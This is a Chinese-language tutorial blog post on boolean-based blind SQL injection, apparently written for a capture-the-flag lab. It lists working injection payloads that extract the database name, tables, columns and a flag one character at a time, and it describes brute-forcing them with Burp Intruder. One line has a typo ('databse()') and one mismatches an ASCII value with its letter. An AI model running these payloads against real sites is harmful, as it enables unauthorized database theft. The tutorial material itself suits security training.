布尔盲注--zkaq

目录

一.什么是布尔盲注

二.常用函数

三.具体步骤

四.实例分析


一.什么是布尔盲注

根据你注入的信息返回true和false,没有具体内容显示。

二.常用函数

length()  返回字符串的长度
substr()  截取字符串  substr(字符串,截取的开始,截取的长度)
ascii()  返回字符的ascii码
sleep()  延时 
if(expr1,expr2,expr3)  判断语句:如果第一个语句正确就执行第二个语句,否则执行第三个

三.具体步骤

  • 猜解当前数据库名称的长度

          and (length(database()))>9#

  • 利用ASCII码猜解当前数据库名称

        and substr(database(),1,1)='s'或者
        and ascii(substr(database(),1,1))=115--+返回正常,说明数据库名称第一位是s

        and (ascii(substr(databse(),2,1)))=101--+返回正常,说明数据库名称第二位是e

  • 猜表名

        and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+返回正常,说明数据库的第一个的第一位是e

  • 猜字段

        and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='yay' limit 0,1),1,1)))=101--+返回正常,说明yay表里的列名称第一位是f

  • 猜内容

        and (ascii(substr((select flag from yay limit 1,1),1,1)))=122--+

四.实例分析

输入and 1=1和1=2发现只会告诉是否有数据,但不会显示数据内容,所以判断是布尔盲注。

 

 如下图,表长为12

 

 如下图,库名第一个字母是k(107是ASCII值所对应就是k)

或者用burp逐个爆破更加方便。先抓包,然后发送至intruder,先清除变量符号,然后将ascii值添加上变量符号。

找到长度相较于其他过长或过短的字符,如下图119(w)就是第四个字符。

 

 接着可以用和猜库名一样的方法,逐个尝试猜解表名、字段名以及相关内容,或者也可以用bp逐个爆破。

 

 耐心地按照具体步骤依次查找,就可以查询到flag

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值